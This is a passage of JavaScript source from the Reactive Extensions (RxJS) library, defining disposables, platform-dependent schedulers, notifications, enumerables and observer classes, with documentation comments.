* @param {Disposable} disposable Underlying disposable.
*/
function RefCountDisposable(disposable) {
this.underlyingDisposable = disposable;
this.isDisposed = false;
this.isPrimaryDisposed = false;
this.count = 0;
}
/**
* Disposes the underlying disposable only when all dependent disposables have been disposed
*/
RefCountDisposable.prototype.dispose = function () {
if (!this.isDisposed) {
if (!this.isPrimaryDisposed) {
this.isPrimaryDisposed = true;
if (this.count === 0) {
this.isDisposed = true;
this.underlyingDisposable.dispose();
}
}
}
};
/**
* Returns a dependent disposable that when disposed decreases the refcount on the underlying disposable.
* @returns {Disposable} A dependent disposable contributing to the reference count that manages the underlying disposable's lifetime.
*/
RefCountDisposable.prototype.getDisposable = function () {
return this.isDisposed ? disposableEmpty : new InnerDisposable(this);
};
return RefCountDisposable;
})();
function ScheduledDisposable(scheduler, disposable) {
this.scheduler = scheduler;
this.disposable = disposable;
this.isDisposed = false;
}
ScheduledDisposable.prototype.dispose = function () {
var parent = this;
this.scheduler.schedule(function () {
if (!parent.isDisposed) {
parent.isDisposed = true;
parent.disposable.dispose();
}
});
};
var ScheduledItem = Rx.internals.ScheduledItem = function (scheduler, state, action, dueTime, comparer) {
this.scheduler = scheduler;
this.state = state;
this.action = action;
this.dueTime = dueTime;
this.comparer = comparer || defaultSubComparer;
this.disposable = new SingleAssignmentDisposable();
}
ScheduledItem.prototype.invoke = function () {
this.disposable.setDisposable(this.invokeCore());
};
ScheduledItem.prototype.compareTo = function (other) {
return this.comparer(this.dueTime, other.dueTime);
};
ScheduledItem.prototype.isCancelled = function () {
return this.disposable.isDisposed;
};
ScheduledItem.prototype.invokeCore = function () {
return this.action(this.scheduler, this.state);
};
/** Provides a set of static properties to access commonly used schedulers. */
var Scheduler = Rx.Scheduler = (function () {
/**
* @constructor
* @private
*/
function Scheduler(now, schedule, scheduleRelative, scheduleAbsolute) {
this.now = now;
this._schedule = schedule;
this._scheduleRelative = scheduleRelative;
this._scheduleAbsolute = scheduleAbsolute;
}
function invokeRecImmediate(scheduler, pair) {
var state = pair.first, action = pair.second, group = new CompositeDisposable(),
recursiveAction = function (state1) {
action(state1, function (state2) {
var isAdded = false, isDone = false,
d = scheduler.scheduleWithState(state2, function (scheduler1, state3) {
if (isAdded) {
group.remove(d);
} else {
isDone = true;
}
recursiveAction(state3);
return disposableEmpty;
});
if (!isDone) {
group.add(d);
isAdded = true;
}
});
};
recursiveAction(state);
return group;
}
function invokeRecDate(scheduler, pair, method) {
var state = pair.first, action = pair.second, group = new CompositeDisposable(),
recursiveAction = function (state1) {
action(state1, function (state2, dueTime1) {
var isAdded = false, isDone = false,
d = scheduler[method].call(scheduler, state2, dueTime1, function (scheduler1, state3) {
if (isAdded) {
group.remove(d);
} else {
isDone = true;
}
recursiveAction(state3);
return disposableEmpty;
});
if (!isDone) {
group.add(d);
isAdded = true;
}
});
};
recursiveAction(state);
return group;
}
function invokeAction(scheduler, action) {
action();
return disposableEmpty;
}
var schedulerProto = Scheduler.prototype;
/**
* Returns a scheduler that wraps the original scheduler, adding exception handling for scheduled actions.
* @param {Function} handler Handler that's run if an exception is caught. The exception will be rethrown if the handler returns false.
* @returns {Scheduler} Wrapper around the original scheduler, enforcing exception handling.
*/
schedulerProto.catchException = schedulerProto['catch'] = function (handler) {
return new CatchScheduler(this, handler);
};
/**
* Schedules a periodic piece of work by dynamically discovering the scheduler's capabilities. The periodic task will be scheduled using window.setInterval for the base implementation.
* @param {Number} period Period for running the work periodically.
* @param {Function} action Action to be executed.
* @returns {Disposable} The disposable object used to cancel the scheduled recurring action (best effort).
*/
schedulerProto.schedulePeriodic = function (period, action) {
return this.schedulePeriodicWithState(null, period, function () {
action();
});
};
/**
* Schedules a periodic piece of work by dynamically discovering the scheduler's capabilities. The periodic task will be scheduled using window.setInterval for the base implementation.
* @param {Mixed} state Initial state passed to the action upon the first iteration.
* @param {Number} period Period for running the work periodically.
* @param {Function} action Action to be executed, potentially updating the state.
* @returns {Disposable} The disposable object used to cancel the scheduled recurring action (best effort).
*/
schedulerProto.schedulePeriodicWithState = function (state, period, action) {
var s = state, id = setInterval(function () {
s = action(s);
}, period);
return disposableCreate(function () {
clearInterval(id);
});
};
/**
* Schedules an action to be executed.
* @param {Function} action Action to execute.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.schedule = function (action) {
return this._schedule(action, invokeAction);
};
/**
* Schedules an action to be executed.
* @param state State passed to the action to be executed.
* @param {Function} action Action to be executed.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleWithState = function (state, action) {
return this._schedule(state, action);
};
/**
* Schedules an action to be executed after the specified relative due time.
* @param {Function} action Action to execute.
* @param {Number} dueTime Relative time after which to execute the action.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleWithRelative = function (dueTime, action) {
return this._scheduleRelative(action, dueTime, invokeAction);
};
/**
* Schedules an action to be executed after dueTime.
* @param state State passed to the action to be executed.
* @param {Function} action Action to be executed.
* @param {Number} dueTime Relative time after which to execute the action.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleWithRelativeAndState = function (state, dueTime, action) {
return this._scheduleRelative(state, dueTime, action);
};
/**
* Schedules an action to be executed at the specified absolute due time.
* @param {Function} action Action to execute.
* @param {Number} dueTime Absolute time at which to execute the action.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleWithAbsolute = function (dueTime, action) {
return this._scheduleAbsolute(action, dueTime, invokeAction);
};
/**
* Schedules an action to be executed at dueTime.
* @param {Mixed} state State passed to the action to be executed.
* @param {Function} action Action to be executed.
* @param {Number}dueTime Absolute time at which to execute the action.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleWithAbsoluteAndState = function (state, dueTime, action) {
return this._scheduleAbsolute(state, dueTime, action);
};
/**
* Schedules an action to be executed recursively.
* @param {Function} action Action to execute recursively. The parameter passed to the action is used to trigger recursive scheduling of the action.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleRecursive = function (action) {
return this.scheduleRecursiveWithState(action, function (_action, self) {
_action(function () {
self(_action);
});
});
};
/**
* Schedules an action to be executed recursively.
* @param {Mixed} state State passed to the action to be executed.
* @param {Function} action Action to execute recursively. The last parameter passed to the action is used to trigger recursive scheduling of the action, passing in recursive invocation state.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleRecursiveWithState = function (state, action) {
return this.scheduleWithState({ first: state, second: action }, function (s, p) {
return invokeRecImmediate(s, p);
});
};
/**
* Schedules an action to be executed recursively after a specified relative due time.
* @param {Function} action Action to execute recursively. The parameter passed to the action is used to trigger recursive scheduling of the action at the specified relative time.
* @param {Number}dueTime Relative time after which to execute the action for the first time.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleRecursiveWithRelative = function (dueTime, action) {
return this.scheduleRecursiveWithRelativeAndState(action, dueTime, function (_action, self) {
_action(function (dt) {
self(_action, dt);
});
});
};
/**
* Schedules an action to be executed recursively after a specified relative due time.
* @param {Mixed} state State passed to the action to be executed.
* @param {Function} action Action to execute recursively. The last parameter passed to the action is used to trigger recursive scheduling of the action, passing in the recursive due time and invocation state.
* @param {Number}dueTime Relative time after which to execute the action for the first time.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleRecursiveWithRelativeAndState = function (state, dueTime, action) {
return this._scheduleRelative({ first: state, second: action }, dueTime, function (s, p) {
return invokeRecDate(s, p, 'scheduleWithRelativeAndState');
});
};
/**
* Schedules an action to be executed recursively at a specified absolute due time.
* @param {Function} action Action to execute recursively. The parameter passed to the action is used to trigger recursive scheduling of the action at the specified absolute time.
* @param {Number}dueTime Absolute time at which to execute the action for the first time.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleRecursiveWithAbsolute = function (dueTime, action) {
return this.scheduleRecursiveWithAbsoluteAndState(action, dueTime, function (_action, self) {
_action(function (dt) {
self(_action, dt);
});
});
};
/**
* Schedules an action to be executed recursively at a specified absolute due time.
* @param {Mixed} state State passed to the action to be executed.
* @param {Function} action Action to execute recursively. The last parameter passed to the action is used to trigger recursive scheduling of the action, passing in the recursive due time and invocation state.
* @param {Number}dueTime Absolute time at which to execute the action for the first time.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
schedulerProto.scheduleRecursiveWithAbsoluteAndState = function (state, dueTime, action) {
return this._scheduleAbsolute({ first: state, second: action }, dueTime, function (s, p) {
return invokeRecDate(s, p, 'scheduleWithAbsoluteAndState');
});
};
/** Gets the current time according to the local machine's system clock. */
Scheduler.now = defaultNow;
/**
* Normalizes the specified TimeSpan value to a positive value.
* @param {Number} timeSpan The time span value to normalize.
* @returns {Number} The specified TimeSpan value if it is zero or positive; otherwise, 0
*/
Scheduler.normalize = function (timeSpan) {
if (timeSpan < 0) {
timeSpan = 0;
}
return timeSpan;
};
return Scheduler;
}());
var normalizeTime = Scheduler.normalize;
var SchedulePeriodicRecursive = Rx.internals.SchedulePeriodicRecursive = (function () {
function tick(command, recurse) {
recurse(0, this._period);
try {
this._state = this._action(this._state);
} catch (e) {
this._cancel.dispose();
throw e;
}
}
function SchedulePeriodicRecursive(scheduler, state, period, action) {
this._scheduler = scheduler;
this._state = state;
this._period = period;
this._action = action;
}
SchedulePeriodicRecursive.prototype.start = function () {
var d = new SingleAssignmentDisposable();
this._cancel = d;
d.setDisposable(this._scheduler.scheduleRecursiveWithRelativeAndState(0, this._period, tick.bind(this)));
return d;
};
return SchedulePeriodicRecursive;
}());
/**
* Gets a scheduler that schedules work immediately on the current thread.
*/
var immediateScheduler = Scheduler.immediate = (function () {
function scheduleNow(state, action) { return action(this, state); }
function scheduleRelative(state, dueTime, action) {
var dt = normalizeTime(dt);
while (dt - this.now() > 0) { }
return action(this, state);
}
function scheduleAbsolute(state, dueTime, action) {
return this.scheduleWithRelativeAndState(state, dueTime - this.now(), action);
}
return new Scheduler(defaultNow, scheduleNow, scheduleRelative, scheduleAbsolute);
}());
/**
* Gets a scheduler that schedules work as soon as possible on the current thread.
*/
var currentThreadScheduler = Scheduler.currentThread = (function () {
var queue;
function runTrampoline (q) {
var item;
while (q.length > 0) {
item = q.dequeue();
if (!item.isCancelled()) {
// Note, do not schedule blocking work!
while (item.dueTime - Scheduler.now() > 0) {
}
if (!item.isCancelled()) {
item.invoke();
}
}
}
}
function scheduleNow(state, action) {
return this.scheduleWithRelativeAndState(state, 0, action);
}
function scheduleRelative(state, dueTime, action) {
var dt = this.now() + Scheduler.normalize(dueTime),
si = new ScheduledItem(this, state, action, dt),
t;
if (!queue) {
queue = new PriorityQueue(4);
queue.enqueue(si);
try {
runTrampoline(queue);
} catch (e) {
throw e;
} finally {
queue = null;
}
} else {
queue.enqueue(si);
}
return si.disposable;
}
function scheduleAbsolute(state, dueTime, action) {
return this.scheduleWithRelativeAndState(state, dueTime - this.now(), action);
}
var currentScheduler = new Scheduler(defaultNow, scheduleNow, scheduleRelative, scheduleAbsolute);
currentScheduler.scheduleRequired = function () { return queue === null; };
currentScheduler.ensureTrampoline = function (action) {
if (queue === null) {
return this.schedule(action);
} else {
return action();
}
};
return currentScheduler;
}());
var scheduleMethod, clearMethod = noop;
(function () {
var reNative = RegExp('^' +
String(toString)
.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
.replace(/toString| for [^\]]+/g, '.*?') + '$'
);
var setImmediate = typeof (setImmediate = freeGlobal && moduleExports && freeGlobal.setImmediate) == 'function' &&
!reNative.test(setImmediate) && setImmediate,
clearImmediate = typeof (clearImmediate = freeGlobal && moduleExports && freeGlobal.clearImmediate) == 'function' &&
!reNative.test(clearImmediate) && clearImmediate;
function postMessageSupported () {
// Ensure not in a worker
if (!root.postMessage || root.importScripts) { return false; }
var isAsync = false,
oldHandler = root.onmessage;
// Test for async
root.onmessage = function () { isAsync = true; };
root.postMessage('','*');
root.onmessage = oldHandler;
return isAsync;
}
// Use in order, nextTick, setImmediate, postMessage, MessageChannel, script readystatechanged, setTimeout
if (typeof process !== 'undefined' && {}.toString.call(process) === '[object process]') {
scheduleMethod = process.nextTick;
} else if (typeof setImmediate === 'function') {
scheduleMethod = setImmediate;
clearMethod = clearImmediate;
} else if (postMessageSupported()) {
var MSG_PREFIX = 'ms.rx.schedule' + Math.random(),
tasks = {},
taskId = 0;
function onGlobalPostMessage(event) {
// Only if we're a match to avoid any other global events
if (typeof event.data === 'string' && event.data.substring(0, MSG_PREFIX.length) === MSG_PREFIX) {
var handleId = event.data.substring(MSG_PREFIX.length),
action = tasks[handleId];
action();
delete tasks[handleId];
}
}
if (root.addEventListener) {
root.addEventListener('message', onGlobalPostMessage, false);
} else {
root.attachEvent('onmessage', onGlobalPostMessage, false);
}
scheduleMethod = function (action) {
var currentId = taskId++;
tasks[currentId] = action;
root.postMessage(MSG_PREFIX + currentId, '*');
};
} else if (!!root.MessageChannel) {
var channel = new root.MessageChannel(),
channelTasks = {},
channelTaskId = 0;
channel.port1.onmessage = function (event) {
var id = event.data,
action = channelTasks[id];
action();
delete channelTasks[id];
};
scheduleMethod = function (action) {
var id = channelTaskId++;
channelTasks[id] = action;
channel.port2.postMessage(id);
};
} else if ('document' in root && 'onreadystatechange' in root.document.createElement('script')) {
scheduleMethod = function (action) {
var scriptElement = root.document.createElement('script');
scriptElement.onreadystatechange = function () {
action();
scriptElement.onreadystatechange = null;
scriptElement.parentNode.removeChild(scriptElement);
scriptElement = null;
};
root.document.documentElement.appendChild(scriptElement);
};
} else {
scheduleMethod = function (action) { return setTimeout(action, 0); };
clearMethod = clearTimeout;
}
}());
/**
* Gets a scheduler that schedules work via a timed callback based upon platform.
*/
var timeoutScheduler = Scheduler.timeout = (function () {
function scheduleNow(state, action) {
var scheduler = this,
disposable = new SingleAssignmentDisposable();
var id = scheduleMethod(function () {
if (!disposable.isDisposed) {
disposable.setDisposable(action(scheduler, state));
}
});
return new CompositeDisposable(disposable, disposableCreate(function () {
clearMethod(id);
}));
}
function scheduleRelative(state, dueTime, action) {
var scheduler = this,
dt = Scheduler.normalize(dueTime);
if (dt === 0) {
return scheduler.scheduleWithState(state, action);
}
var disposable = new SingleAssignmentDisposable();
var id = setTimeout(function () {
if (!disposable.isDisposed) {
disposable.setDisposable(action(scheduler, state));
}
}, dt);
return new CompositeDisposable(disposable, disposableCreate(function () {
clearTimeout(id);
}));
}
function scheduleAbsolute(state, dueTime, action) {
return this.scheduleWithRelativeAndState(state, dueTime - this.now(), action);
}
return new Scheduler(defaultNow, scheduleNow, scheduleRelative, scheduleAbsolute);
})();
/** @private */
var CatchScheduler = (function (_super) {
function localNow() {
return this._scheduler.now();
}
function scheduleNow(state, action) {
return this._scheduler.scheduleWithState(state, this._wrap(action));
}
function scheduleRelative(state, dueTime, action) {
return this._scheduler.scheduleWithRelativeAndState(state, dueTime, this._wrap(action));
}
function scheduleAbsolute(state, dueTime, action) {
return this._scheduler.scheduleWithAbsoluteAndState(state, dueTime, this._wrap(action));
}
inherits(CatchScheduler, _super);
/** @private */
function CatchScheduler(scheduler, handler) {
this._scheduler = scheduler;
this._handler = handler;
this._recursiveOriginal = null;
this._recursiveWrapper = null;
_super.call(this, localNow, scheduleNow, scheduleRelative, scheduleAbsolute);
}
/** @private */
CatchScheduler.prototype._clone = function (scheduler) {
return new CatchScheduler(scheduler, this._handler);
};
/** @private */
CatchScheduler.prototype._wrap = function (action) {
var parent = this;
return function (self, state) {
try {
return action(parent._getRecursiveWrapper(self), state);
} catch (e) {
if (!parent._handler(e)) { throw e; }
return disposableEmpty;
}
};
};
/** @private */
CatchScheduler.prototype._getRecursiveWrapper = function (scheduler) {
if (this._recursiveOriginal !== scheduler) {
this._recursiveOriginal = scheduler;
var wrapper = this._clone(scheduler);
wrapper._recursiveOriginal = scheduler;
wrapper._recursiveWrapper = wrapper;
this._recursiveWrapper = wrapper;
}
return this._recursiveWrapper;
};
/** @private */
CatchScheduler.prototype.schedulePeriodicWithState = function (state, period, action) {
var self = this, failed = false, d = new SingleAssignmentDisposable();
d.setDisposable(this._scheduler.schedulePeriodicWithState(state, period, function (state1) {
if (failed) { return null; }
try {
return action(state1);
} catch (e) {
failed = true;
if (!self._handler(e)) { throw e; }
d.dispose();
return null;
}
}));
return d;
};
return CatchScheduler;
}(Scheduler));
/**
* Represents a notification to an observer.
*/
var Notification = Rx.Notification = (function () {
function Notification(kind, hasValue) {
this.hasValue = hasValue == null ? false : hasValue;
this.kind = kind;
}
var NotificationPrototype = Notification.prototype;
/**
* Invokes the delegate corresponding to the notification or the observer's method corresponding to the notification and returns the produced result.
*
* @memberOf Notification
* @param {Any} observerOrOnNext Delegate to invoke for an OnNext notification or Observer to invoke the notification on..
* @param {Function} onError Delegate to invoke for an OnError notification.
* @param {Function} onCompleted Delegate to invoke for an OnCompleted notification.
* @returns {Any} Result produced by the observation.
*/
NotificationPrototype.accept = function (observerOrOnNext, onError, onCompleted) {
if (arguments.length === 1 && typeof observerOrOnNext === 'object') {
return this._acceptObservable(observerOrOnNext);
}
return this._accept(observerOrOnNext, onError, onCompleted);
};
/**
* Returns an observable sequence with a single notification.
*
* @memberOf Notification
* @param {Scheduler} [scheduler] Scheduler to send out the notification calls on.
* @returns {Observable} The observable sequence that surfaces the behavior of the notification upon subscription.
*/
NotificationPrototype.toObservable = function (scheduler) {
var notification = this;
scheduler || (scheduler = immediateScheduler);
return new AnonymousObservable(function (observer) {
return scheduler.schedule(function () {
notification._acceptObservable(observer);
if (notification.kind === 'N') {
observer.onCompleted();
}
});
});
};
return Notification;
})();
/**
* Creates an object that represents an OnNext notification to an observer.
* @param {Any} value The value contained in the notification.
* @returns {Notification} The OnNext notification containing the value.
*/
var notificationCreateOnNext = Notification.createOnNext = (function () {
function _accept (onNext) {
return onNext(this.value);
}
function _acceptObservable(observer) {
return observer.onNext(this.value);
}
function toString () {
return 'OnNext(' + this.value + ')';
}
return function (value) {
var notification = new Notification('N', true);
notification.value = value;
notification._accept = _accept;
notification._acceptObservable = _acceptObservable;
notification.toString = toString;
return notification;
};
}());
/**
* Creates an object that represents an OnError notification to an observer.
* @param {Any} error The exception contained in the notification.
* @returns {Notification} The OnError notification containing the exception.
*/
var notificationCreateOnError = Notification.createOnError = (function () {
function _accept (onNext, onError) {
return onError(this.exception);
}
function _acceptObservable(observer) {
return observer.onError(this.exception);
}
function toString () {
return 'OnError(' + this.exception + ')';
}
return function (exception) {
var notification = new Notification('E');
notification.exception = exception;
notification._accept = _accept;
notification._acceptObservable = _acceptObservable;
notification.toString = toString;
return notification;
};
}());
/**
* Creates an object that represents an OnCompleted notification to an observer.
* @returns {Notification} The OnCompleted notification.
*/
var notificationCreateOnCompleted = Notification.createOnCompleted = (function () {
function _accept (onNext, onError, onCompleted) {
return onCompleted();
}
function _acceptObservable(observer) {
return observer.onCompleted();
}
function toString () {
return 'OnCompleted()';
}
return function () {
var notification = new Notification('C');
notification._accept = _accept;
notification._acceptObservable = _acceptObservable;
notification.toString = toString;
return notification;
};
}());
var Enumerator = Rx.internals.Enumerator = function (next) {
this._next = next;
};
Enumerator.prototype.next = function () {
return this._next();
};
Enumerator.prototype[$iterator$] = function () { return this; }
var Enumerable = Rx.internals.Enumerable = function (iterator) {
this._iterator = iterator;
};
Enumerable.prototype[$iterator$] = function () {
return this._iterator();
};
Enumerable.prototype.concat = function () {
var sources = this;
return new AnonymousObservable(function (observer) {
var e;
try {
e = sources[$iterator$]();
} catch(err) {
observer.onError();
return;
}
var isDisposed,
subscription = new SerialDisposable();
var cancelable = immediateScheduler.scheduleRecursive(function (self) {
var currentItem;
if (isDisposed) { return; }
try {
currentItem = e.next();
} catch (ex) {
observer.onError(ex);
return;
}
if (currentItem.done) {
observer.onCompleted();
return;
}
// Check if promise
var currentValue = currentItem.value;
isPromise(currentValue) && (currentValue = observableFromPromise(currentValue));
var d = new SingleAssignmentDisposable();
subscription.setDisposable(d);
d.setDisposable(currentValue.subscribe(
observer.onNext.bind(observer),
observer.onError.bind(observer),
function () { self(); })
);
});
return new CompositeDisposable(subscription, cancelable, disposableCreate(function () {
isDisposed = true;
}));
});
};
Enumerable.prototype.catchException = function () {
var sources = this;
return new AnonymousObservable(function (observer) {
var e;
try {
e = sources[$iterator$]();
} catch(err) {
observer.onError();
return;
}
var isDisposed,
lastException,
subscription = new SerialDisposable();
var cancelable = immediateScheduler.scheduleRecursive(function (self) {
if (isDisposed) { return; }
var currentItem;
try {
currentItem = e.next();
} catch (ex) {
observer.onError(ex);
return;
}
if (currentItem.done) {
if (lastException) {
observer.onError(lastException);
} else {
observer.onCompleted();
}
return;
}
// Check if promise
var currentValue = currentItem.value;
isPromise(currentValue) && (currentValue = observableFromPromise(currentValue));
var d = new SingleAssignmentDisposable();
subscription.setDisposable(d);
d.setDisposable(currentValue.subscribe(
observer.onNext.bind(observer),
function (exn) {
lastException = exn;
self();
},
observer.onCompleted.bind(observer)));
});
return new CompositeDisposable(subscription, cancelable, disposableCreate(function () {
isDisposed = true;
}));
});
};
var enumerableRepeat = Enumerable.repeat = function (value, repeatCount) {
if (repeatCount == null) { repeatCount = -1; }
return new Enumerable(function () {
var left = repeatCount;
return new Enumerator(function () {
if (left === 0) { return doneEnumerator; }
if (left > 0) { left--; }
return { done: false, value: value };
});
});
};
var enumerableFor = Enumerable.forEach = function (source, selector, thisArg) {
selector || (selector = identity);
return new Enumerable(function () {
var index = -1;
return new Enumerator(
function () {
return ++index < source.length ?
{ done: false, value: selector.call(thisArg, source[index], index, source) } :
doneEnumerator;
});
});
};
/**
* Supports push-style iteration over an observable sequence.
*/
var Observer = Rx.Observer = function () { };
/**
* Creates a notification callback from an observer.
*
* @param observer Observer object.
* @returns The action that forwards its input notification to the underlying observer.
*/
Observer.prototype.toNotifier = function () {
var observer = this;
return function (n) {
return n.accept(observer);
};
};
/**
* Hides the identity of an observer.
* @returns An observer that hides the identity of the specified observer.
*/
Observer.prototype.asObserver = function () {
return new AnonymousObserver(this.onNext.bind(this), this.onError.bind(this), this.onCompleted.bind(this));
};
/**
* Checks access to the observer for grammar violations. This includes checking for multiple OnError or OnCompleted calls, as well as reentrancy in any of the observer methods.
* If a violation is detected, an Error is thrown from the offending observer method call.
*
* @returns An observer that checks callbacks invocations against the observer grammar and, if the checks pass, forwards those to the specified observer.
*/
Observer.prototype.checked = function () { return new CheckedObserver(this); };
/**
* Creates an observer from the specified OnNext, along with optional OnError, and OnCompleted actions.
*
* @static
* @memberOf Observer
* @param {Function} [onNext] Observer's OnNext action implementation.
* @param {Function} [onError] Observer's OnError action implementation.
* @param {Function} [onCompleted] Observer's OnCompleted action implementation.
* @returns {Observer} The observer object implemented using the given actions.
*/
var observerCreate = Observer.create = function (onNext, onError, onCompleted) {
onNext || (onNext = noop);
onError || (onError = defaultError);
onCompleted || (onCompleted = noop);
return new AnonymousObserver(onNext, onError, onCompleted);
};
/**
* Creates an observer from a notification callback.
*
* @static
* @memberOf Observer
* @param {Function} handler Action that handles a notification.
* @returns The observer object that invokes the specified handler using a notification corresponding to each message it receives.
*/
Observer.fromNotifier = function (handler) {
return new AnonymousObserver(function (x) {
return handler(notificationCreateOnNext(x));
}, function (exception) {
return handler(notificationCreateOnError(exception));
}, function () {
return handler(notificationCreateOnCompleted());
});
};
/**
* Schedules the invocation of observer methods on the given scheduler.
* @param {Scheduler} scheduler Scheduler to schedule observer messages on.
* @returns {Observer} Observer whose messages are scheduled on the given scheduler.
*/
Observer.notifyOn = function (scheduler) {
return new ObserveOnObserver(scheduler, this);
};
/**
* Abstract base class for implementations of the Observer class.
* This base class enforces the grammar of observers where OnError and OnCompleted are terminal messages.
*/
var AbstractObserver = Rx.internals.AbstractObserver = (function (_super) {
inherits(AbstractObserver, _super);
/**
* Creates a new observer in a non-stopped state.
*
* @constructor
*/
function AbstractObserver() {
this.isStopped = false;
_super.call(this);
}
/**
* Notifies the observer of a new element in the sequence.
*
* @memberOf AbstractObserver
* @param {Any} value Next element in the sequence.
*/
AbstractObserver.prototype.onNext = function (value) {
if (!this.isStopped) {
this.next(value);
}
};
/**
* Notifies the observer that an exception has occurred.
*
* @memberOf AbstractObserver
* @param {Any} error The error that has occurred.
*/
AbstractObserver.prototype.onError = function (error) {
if (!this.isStopped) {
this.isStopped = true;
this.error(error);
}
};
/**
* Notifies the observer of the end of the sequence.
*/
AbstractObserver.prototype.onCompleted = function () {
if (!this.isStopped) {
this.isStopped = true;
this.completed();
}
};
/**
* Disposes the observer, causing it to transition to the stopped state.
*/
AbstractObserver.prototype.dispose = function () {
this.isStopped = true;
};
AbstractObserver.prototype.fail = function (e) {
if (!this.isStopped) {
this.isStopped = true;
this.error(e);
return true;
}
return false;
};
return AbstractObserver;
}(Observer));
/**
* Class to create an Observer instance from delegate-based implementations of the on* methods.
*/
var AnonymousObserver = Rx.AnonymousObserver = (function (_super) {
inherits(AnonymousObserver, _super);
/**
* Creates an observer from the specified OnNext, OnError, and OnCompleted actions.
* @param {Any} onNext Observer's OnNext action implementation.
* @param {Any} onError Observer's OnError action implementation.
* @param {Any} onCompleted Observer's OnCompleted action implementation.
*/
function AnonymousObserver(onNext, onError, onCompleted) {
_super.call(this);
this._onNext = onNext;
this._onError = onError;
this._onCompleted = onCompleted;
}
/**
* Calls the onNext action.
* @param {Any} value Next element in the sequence.
*/
AnonymousObserver.prototype.next = function (value) {
this._onNext(value);
};
/**
* Calls the onError action.
* @param {Any} error The error that has occurred.
*/
AnonymousObserver.prototype.error = function (exception) {
this._onError(exception);
};
/**
* Calls the onCompleted action.
*/
AnonymousObserver.prototype.completed = function () {
this._onCompleted();
};
return AnonymousObserver;
}(AbstractObserver));
var CheckedObserver = (function (_super) {
inherits(CheckedObserver, _super);
function CheckedObserver(observer) {
_super.call(this);
this._observer = observer;
this._state = 0; // 0 - idle, 1 - busy, 2 - done
}
var CheckedObserverPrototype = CheckedObserver.prototype;
CheckedObserverPrototype.onNext = function (value) {
this.checkAccess();
try {
this._observer.onNext(value);
} catch (e) {
throw e;
} finally {
this._state = 0;
}
};
CheckedObserverPrototype.onError = function (err) {
this.checkAccess();
try {
this._observer.onError(err);
} catch (e) {
throw e;
} finally {
this._state = 2;
}
};
CheckedObserverPrototype.onCompleted = function () {
this.checkAccess();
try {
this._observer.onCompleted();
} catch (e) {
throw e;
} finally {
this._state = 2;
}
};
CheckedObserverPrototype.checkAccess = function () {
if (this._state === 1) { throw new Error('Re-entrancy detected'); }
if (this._state === 2) { throw new Error('Observer completed'); }
if (this._state === 0) { this._state = 1; }
};
return CheckedObserver;
}(Observer));
var ScheduledObserver = Rx.internals.ScheduledObserver = (function (_super) {
inherits(ScheduledObserver, _super);
function ScheduledObserver(scheduler, observer) {
_super.call(this);
this.scheduler = scheduler;
this.observer = observer;
this.isAcquired = false;
this.hasFaulted = false;
this.queue = [];
this.disposable = new SerialDisposable();
}
ScheduledObserver.prototype.next = function (value) {
var self = this;
this.queue.push(function () {
self.observer.onNext(value);
});
};
ScheduledObserver.prototype.error = function (exception) {
var self = this;
this.queue.push(function () {
self.observer.onError(exception);
});
};
ScheduledObserver.prototype.completed = function () {
var self = this;
this.queue.push(function () {
self.observer.onCompleted();
});
};
ScheduledObserver.prototype.ensureActive = function () {
var isOwner = false, parent = this;
if (!this.hasFaulted && this.queue.length > 0) {
isOwner = !this.isAcquired;
this.isAcquired = true;
}
if (isOwner) {
this.disposable.setDisposable(this.scheduler.scheduleRecursive(function (self) {
var work;
if (parent.queue.length > 0) {
work = parent.queue.shift();
} else {
parent.isAcquired = false;
return;
}
try {
work();
} catch (ex) {
parent.queue = [];
parent.hasFaulted = true;
throw ex;
}
self();
}));
}
};
ScheduledObserver.prototype.dispose = function () {
_super.prototype.dispose.call(this);
this.disposable.dispose();
};
return ScheduledObserver;
}(AbstractObserver));
/** @private */
var ObserveOnObserver = (function (_super) {
inherits(ObserveOnObserver, _super);
/** @private */
function ObserveOnObserver() {
_super.apply(this, arguments);
}
/** @private */
ObserveOnObserver.prototype.next = function (value) {
_super.prototype.next.call(this, value);
this.ensureActive();
};
/** @private */
ObserveOnObserver.prototype.error = function (e) {
_super.prototype.error.call(this, e);
this.ensureActive();
};
/** @private */
ObserveOnObserver.prototype.completed = function () {
_super.prototype.completed.call(this);
this.ensureActive();
};
return ObserveOnObserver;
})(ScheduledObserver);
var observableProto;
/**
* Represents a push-style collection.
*/
var Observable = Rx.Observable = (function () {
function Observable(subscribe) {
this._subscribe = subscribe;
}
observableProto = Observable.prototype;
/**
* Subscribes an observer to the observable sequence.
*
* @example
* 1 - source.subscribe();
* 2 - source.subscribe(observer);
* 3 - source.subscribe(function (x) { console.log(x); });
* 4 - source.subscribe(function (x) { console.log(x); }, function (err) { console.log(err); });
* 5 - source.subscribe(function (x) { console.log(x); }, function (err) { console.log(err); }, function () { console.log('done'); });
* @param {Mixed} [observerOrOnNext] The object that is to receive notifications or an action to invoke for each element in the observable sequence.
* @param {Function} [onError] Action to invoke upon exceptional termination of the observable sequence.
* @param {Function} [onCompleted] Action to invoke upon graceful termination of the observable sequence.
* @returns {Diposable} The source sequence whose subscriptions and unsubscriptions happen on the specified scheduler.
*/
observableProto.subscribe = observableProto.forEach = function (observerOrOnNext, onError, onCompleted) {
var subscriber = typeof observerOrOnNext === 'object' ?
observerOrOnNext :
observerCreate(observerOrOnNext, onError, onCompleted);
return this._subscribe(subscriber);
};
return Observable;
})();
/**
* Wraps the source sequence in order to run its observer callbacks on the specified scheduler.
*
* This only invokes observer callbacks on a scheduler. In case the subscription and/or unsubscription actions have side-effects
